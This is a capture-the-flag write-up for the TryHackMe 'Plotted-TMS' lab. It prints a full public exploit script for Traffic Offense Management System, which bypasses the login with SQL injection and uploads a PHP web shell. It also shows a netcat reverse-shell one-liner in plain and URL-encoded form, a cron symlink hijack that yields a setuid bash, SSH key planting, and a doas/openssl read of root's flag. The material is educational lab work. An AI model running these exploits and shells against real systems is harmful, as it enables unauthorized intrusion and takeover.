THM Writeup – Plotted-TMS

THM Writeup – Plotted-TMS

Plotted-TMS

Everything here is plotted!

Room: Plotted-TMS

Difficulty: Easy

Operating System: Linux

Author: sa.infinity8888

Happy Hunting!

Tip: Enumeration is key!

Add IP address to your hosts file:

echo '10.10.208.65    plotted.thm' >> /etc/hosts

Scan the target machine – find open ports first:

nmap -n -Pn -sS -p- --open -min-rate 5000 -vvv plotted.thm

PORT    STATE SERVICE      REASON
22/tcp  open  ssh          syn-ack ttl 64
80/tcp  open  http         syn-ack ttl 64
445/tcp open  microsoft-ds syn-ack ttl 64

Get more details about open ports:

nmap -T4 -A -p 22,80,445 plotted.thm

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
445/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

On port 80 there is only Apache2 Ubuntu Default Page – I reviewed the page source, found nothing – the same is for port 445, there is no samba as one would expect, but web application again.

Enumeration

Time to directory bruteforce the web application:

gobuster dir -u http://plotted.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

===============================================================
/index.html (Status: 200)
/admin (Status: 301)
/shadow (Status: 200)
/passwd (Status: 200)
/server-status (Status: 403)
===============================================================

Ok, let’s check those directories, start off with /admin:

plotted admin page

By clicking id_rsa we get:

id rsa

A string that looks like Base64 encoded.

Use CyberChief to decode it:

CyberChief

Hm, ok, now /shadow, browse to http://plotted.thm/shadow

plotted shadow page

Base64 encoded string again:

CyberChief

By browsing to http://plotted.thm/passwd we get Base64 encoded string again:

plotted passwd page

Actually it is the same string as we got by accessing /shadow

Now directory bruteforce the application on port 445:

gobuster dir -u http://plotted.thm:445 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

===============================================================
/index.html (Status: 200)
/management (Status: 301)
/server-status (Status: 403)
===============================================================

Browse to http://plotted.thm:445/management/:

plotted management page

By clicking the Login button we are forwarded to http://plotted.thm:445/management/admin/login.php:

plotted management admin page

At this point I googled Traffic Offense Management System exploit:

traffic offense management system exploit search results

And found a Remote Code Execution exploit.

exploit.py content:

#!/usr/bin/env python2
import requests
import time
from bs4 import BeautifulSoup

print ("\nExample: http://example.com\n")

url = input("Url: ")
payload_name = "evil.php"
payload_file = "<?php if(isset($_GET['cmd'])){ echo '<pre>'; $cmd = ($_GET['cmd']); system($cmd); echo '<pre>'; die; } ?>"

if url.startswith(('http://', 'https://')):
    print ("Check Url ...\n")
else:
    print ("\n[?] Check Adress\n")
    url = "http://" + url

try:
    response = requests.get(url)
except requests.ConnectionError as exception:
    print("[-] Address not reachable")
    sys.exit(1)

session = requests.session()

request_url = url + "/classes/Login.php?f=login"
post_data = {"username": "'' OR 1=1-- '", "password": "'' OR 1=1-- '"}
bypass_user = session.post(request_url, data=post_data)


if bypass_user.text == '{"status":"success"}':
    print ("[+] Bypass Login\n")
    cookies = session.cookies.get_dict()
    req = session.get(url + "/admin/?page=user")
    parser = BeautifulSoup(req.text, 'html.parser')
    userid = parser.find('input', {'name':'id'}).get("value")
    firstname = parser.find('input', {'id':'firstname'}).get("value")
    lastname = parser.find('input', {'id':'lastname'}).get("value")
    username = parser.find('input', {'id':'username'}).get("value")

    request_url = url + "/classes/Users.php?f=save"
    headers = {"sec-ch-ua": "\";Not A Brand\";v=\"99\", \"Chromium\";v=\"88\"", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryxGKa5dhQCRwOodsq", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
    data = "------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n"+ userid +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\n"+ firstname +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\n"+ lastname +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n"+ username +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"img\"; filename=\""+ payload_name +"\"\r\nContent-Type: application/x-php\r\n\r\n" + payload_file +"\n\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq--\r\n"
    upload = session.post(request_url, headers=headers, cookies=cookies, data=data)            
    time.sleep(2)

    if upload.text == "1":
        print ("[+] Upload Shell\n")
        time.sleep(2)
        req = session.get(url + "/admin/?page=user")
        parser = BeautifulSoup(req.text, 'html.parser')
        find_shell = parser.find('img', {'id':'cimg'})
        print ("[+] Exploit Done!\n")

        while True:
            cmd = input("$ ")
            headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36'}
            resp = requests.post(find_shell.get("src") + "?cmd=" + cmd, data={'key':'value'}, headers=headers)
            print(resp)
#print req.text.replace("<pre>" ,"").replace("<pre>", "")
            time.sleep(1)

    elif upload.text == "2":
        print ("[-] Try the manual method")
        request_url = url + "/classes/Login.php?f=logout"
        cookies = session.cookies.get_dict()
        headers = {"sec-ch-ua": "\";Not A Brand\";v=\"99\", \"Chromium\";v=\"88\"", "sec-ch-ua-mobile": "?0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
        session.get(request_url, headers=headers, cookies=cookies)
    else:
        print("[!]An unknown error")

else:
    print ("[-] Failed to bypass login panel")

I copied the exploit to a file named exploit.py, then little bit modified it, because of errors (added parethesis to print function) and then executed it:

root@ip-10-10-201-92:~# python exploit.py 

Example: http://example.com

Url: http://plotted.thm:445/management/
Check Url ...

[+] Bypass Login

[+] Upload Shell

[+] Exploit Done!

$ id
Traceback (most recent call last):
  File "exploit.py", line 58, in <module>
    resp = requests.post(find_shell.get("src") + "?cmd=" + cmd, data={'key':'value'}, headers=headers)
  File "/usr/lib/python3/dist-packages/requests/api.py", line 112, in post
    return request('post', url, data=data, json=json, **kwargs)
  File "/usr/lib/python3/dist-packages/requests/api.py", line 58, in request
    return session.request(method=method, url=url, **kwargs)
  File "/usr/lib/python3/dist-packages/requests/sessions.py", line 506, in request
    prep = self.prepare_request(req)
  File "/usr/lib/python3/dist-packages/requests/sessions.py", line 449, in prepare_request
    hooks=merge_hooks(request.hooks, self.hooks),
  File "/usr/lib/python3/dist-packages/requests/models.py", line 305, in prepare
    self.prepare_url(url, params)
  File "/usr/lib/python3/dist-packages/requests/models.py", line 379, in prepare_url
    raise MissingSchema(error)
requests.exceptions.MissingSchema: Invalid URL '/management/uploads/1645433520_evil.php?cmd=id': No schema supplied. Perhaps you meant http:///management/uploads/1645433520_evil.php?cmd=id?

As you can see the exploit was successful, however the “interactive” part did not work – I didn’t want to waste any more time with the exploit, so I checked what it does – it uploaded an evil php that we can use to execute our commands – so let’s check if it really exists, browse to http://plotted.thm:445/management/uploads/:

management uploads

Yep, it’s there.

Now click the ...._evil.php file and add cmd parameter with a value of id – first we’ll check if it works:

evil.php cmd id

Find out what users exists on the target machine:

evil.php ls la home

We have user plot_admin and ubuntu.

Let’s try to find user flag:

evil.php plot_admin home directory

Ok, here it is, but it is only readable by the plot_admin user.

Getting a shell

Now let’s try to get a reverse shell – first start netcat listener:

nc -lnvp 4242

Take this payload (change IP address and PORT accordingly):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.201.92 4242 >/tmp/f

Open BurpSuite’s Decoder modul, paste your payload and encode it as URL:

BurpSuite Decoder

Take the encoded payload and paste it as a value of cmd parameter, browse to:

http://plotted.thm:445/management/uploads/1645433520_evil.php?cmd=%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%32%30%31%2e%39%32%20%34%32%34%32%20%3e%2f%74%6d%70%2f%66

And we’ve got a reverse shell:

reverse shell

Upgrade the shell:

python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL+Z
stty raw -echo; fg ENTER ENTER
stty rows 24 columns 80
export TERM=xterm-256color
reset

user.txt

So again, list plot_admin‘s files and directories:

www-data@plotted:/home/plot_admin$ ls -lA
total 24
lrwxrwxrwx  1 root       root          9 Oct 28 10:09 .bash_history -> /dev/null
-rw-r--r--  1 plot_admin plot_admin  220 Oct 28 07:56 .bash_logout
-rw-r--r--  1 plot_admin plot_admin 3771 Oct 28 07:56 .bashrc
drwxrwxr-x  3 plot_admin plot_admin 4096 Oct 28 08:34 .local
-rw-r--r--  1 plot_admin plot_admin  807 Oct 28 07:56 .profile
drwxrwx--- 14 plot_admin plot_admin 4096 Oct 28 07:25 tms_backup
-rw-rw----  1 plot_admin plot_admin   33 Oct 28 09:55 user.txt

As we saw through the web, there is user.txt, but we are not allowed to read it. Also there is an interesting directory tms_backup, but again we are not allowed to access it = we have to do a lateral movement, to elevate our privileges at least to plot_admin user.

Check basic escalation vectors first:

www-data@plotted:/home/plot_admin$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * 	* * *	plot_admin /var/www/scripts/backup.sh
#

This might be the way – there is a cron job that runs as user plot_admin – now check what permissions we have over the backup.sh:

www-data@plotted:/home/plot_admin$ ls -lA /var/www/scripts/backup.sh
-rwxrwxr-- 1 plot_admin plot_admin 141 Oct 28 09:10 /var/www/scripts/backup.sh

We can only read it, nvm check parent directory permissions:

www-data@plotted:/home/plot_admin$ ls -lA /var/www/
total 8
drwxr-xr-x 4 root     root     4096 Oct 28 09:18 html
drwxr-xr-x 2 www-data www-data 4096 Oct 28 09:10 scripts

Good news, we are the owner of the parent directory, it means we can create new files in this directory.

Now we have two options:

  • we can remove existing backup.sh file event if we don’t have permissions to write to it, and create a “new” one
  • or we can create our own script.sh file and softlink backup.sh

Let’s do the second option:

www-data@plotted:/var/www/scripts$ echo 'cp /bin/bash /home/plot_admin/bashpa; chmod +xs /home/plot_admin/bashpa' > script.sh
www-data@plotted:/var/www/scripts$ chmod +x script.sh 
www-data@plotted:/var/www/scripts$ ln -sf script.sh backup.sh

Wait for the cronjob to execute – if there is a file /home/plot_admin/bashpa, job has been already executed.

Execute /home/plot_admin/bashpa:

www-data@plotted:/var/www/scripts$ cd /home/plot_admin/
www-data@plotted:/home/plot_admin$ ls -l
total 4632
-rwsr-sr-x  1 plot_admin plot_admin 1183448 Feb 21 10:30 bashpa
drwxrwx--- 14 plot_admin plot_admin    4096 Oct 28 07:25 tms_backup
-rw-rw----  1 plot_admin plot_admin      33 Oct 28 09:55 user.txt
www-data@plotted:/home/plot_admin$ ./bashpa -p
bashpa-5.0$ id
uid=33(www-data) gid=33(www-data) euid=1001(plot_admin) egid=1001(plot_admin) groups=1001(plot_admin),33(www-data)

Our effective permissions (euid) are plot_admin.

Read the user flag:

bashpa-5.0$ pwd
/home/plot_admin
bashpa-5.0$ cat user.txt
[REDACTED]

root.txt

Let’s now add our SSH key and connect via SSH to get normal shell.

On your attacking machine, generate a key pair:

root@ip-10-10-201-92:~# ssh-keygen -f plot_admin
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in plot_admin.
Your public key has been saved in plot_admin.pub.
The key fingerprint is:
SHA256:be9W4gXny24swclescii/EFWfaihbII+CPqPZObd6Yk root@ip-10-10-77-223
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|             . . |
|            o o .|
|       . o o.oo. |
|  .   . S O+.* o |
| . . o   *..O *  |
|. + . o. ..+.O . |
| * o o +o  o= =  |
|  +.E.=  ....+.  |
+----[SHA256]-----+
root@ip-10-10-77-223:~# ls -la plot*
-rw------- 1 root root 1675 Feb 21 10:48 plot_admin
-rw-r--r-- 1 root root  402 Feb 21 10:48 plot_admin.pub

On the target machine create .ssh directory in the plot_admin‘s home directory and change its permissions:

bashpa-5.0$ mkdir .ssh && chmod 0700 .ssh

Go back to your attacking machine and read the generated public key plot_admin.pub – copy its content and run following on the target machine:

bashpa-5.0$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCibRLEh4BNCvZReaYyM4HVtNY2tgoUNuJ6kFFcjddKUjGzHt4FnR8pOwWSQ7dQyHzWzcu4GVbgnGke8B8RYp5VbFkZR5O1iS3/uYPgCPzTd5uopT+tqaw25dQ+l7nCX1jlrIQQq6Of3h+8Ul+beKSYJxi0vf/zAFDO37khdpQX/w6w0xO9kqE8VSijjgbd0hwDQnznRTgYjXadYihTq5Zk/TvLlEJXxVUyM2HzW6aaq0+IskG96UlfTnbsfOUN1C147siq6qslBgsBjvFaNnORsQvXmY4g0mVxEPw0gMTGZX6tEq5YLvN1LIfyuONzOLJ5Yq/IA97yz5lS3MCurC0x root@ip-10-10-77-223' > .ssh/authorized_keys
bashpa-5.0$ chmod 600 .ssh/authorized_keys

Connect to the target machine via SSH:

root@ip-10-10-201-92:~# ssh plot_admin@plotted.thm -i plot_admin
The authenticity of host 'plotted.thm (10.10.85.239)' can't be established.
ECDSA key fingerprint is SHA256:VuleXSwNLcXI7crDicOe6m2y2VRzvfI3DhBqq5oZeXI.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'plotted.thm,10.10.85.239' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)
. . .
plot_admin@plotted:~$

We need to find a way to escalate our privileges to root:

plot_admin@plotted:~$ find / -type f -perm -4000 2>/dev/null
/home/plot_admin/bashpa
/snap/core18/2284/bin/mount
/snap/core18/2284/bin/ping
/snap/core18/2284/bin/su
/snap/core18/2284/bin/umount
/snap/core18/2284/usr/bin/chfn
/snap/core18/2284/usr/bin/chsh
/snap/core18/2284/usr/bin/gpasswd
/snap/core18/2284/usr/bin/newgrp
/snap/core18/2284/usr/bin/passwd
/snap/core18/2284/usr/bin/sudo
/snap/core18/2284/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2284/usr/lib/openssh/ssh-keysign
/snap/core18/2246/bin/mount
/snap/core18/2246/bin/ping
/snap/core18/2246/bin/su
/snap/core18/2246/bin/umount
/snap/core18/2246/usr/bin/chfn
/snap/core18/2246/usr/bin/chsh
/snap/core18/2246/usr/bin/gpasswd
/snap/core18/2246/usr/bin/newgrp
/snap/core18/2246/usr/bin/passwd
/snap/core18/2246/usr/bin/sudo
/snap/core18/2246/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2246/usr/lib/openssh/ssh-keysign
/snap/core20/1328/usr/bin/chfn
/snap/core20/1328/usr/bin/chsh
/snap/core20/1328/usr/bin/gpasswd
/snap/core20/1328/usr/bin/mount
/snap/core20/1328/usr/bin/newgrp
/snap/core20/1328/usr/bin/passwd
/snap/core20/1328/usr/bin/su
/snap/core20/1328/usr/bin/sudo
/snap/core20/1328/usr/bin/umount
/snap/core20/1328/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1328/usr/lib/openssh/ssh-keysign
/snap/core20/1169/usr/bin/chfn
/snap/core20/1169/usr/bin/chsh
/snap/core20/1169/usr/bin/gpasswd
/snap/core20/1169/usr/bin/mount
/snap/core20/1169/usr/bin/newgrp
/snap/core20/1169/usr/bin/passwd
/snap/core20/1169/usr/bin/su
/snap/core20/1169/usr/bin/sudo
/snap/core20/1169/usr/bin/umount
/snap/core20/1169/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1169/usr/lib/openssh/ssh-keysign
/snap/snapd/14549/usr/lib/snapd/snap-confine
/snap/snapd/13640/usr/lib/snapd/snap-confine
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/at
/usr/bin/chsh
/usr/bin/umount
/usr/bin/doas
/usr/bin/newgrp
/usr/libexec/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign

/usr/bin/doas looks interesting.

Actually the doas command is very similar to sudo command, let’s try it:

plot_admin@plotted:~$ doas -u root /bin/bash
doas: Operation not permitted

No luck – it is not allowed for our user.

Check what our user can do with doas command:

plot_admin@plotted:~$ cat /etc/doas.conf 
permit nopass plot_admin as root cmd openssl

This looks great – our user can execute openssl command as root without password using doas.

Let’s check GTFOBins for a way to exploit this:

gtfobins

We just need to read the flag, so this exploitation is enough for us:

plot_admin@plotted:~$ doas openssl enc -in "/root/root.txt"
Congratulations on completing this room!

[REDACTED]

Hope you enjoyed the journey!

Do let me know if you have any ideas/suggestions for future rooms.
-sa.infinity8888

Do you like this writeup? Check out other THM Writeups.

Comments are closed.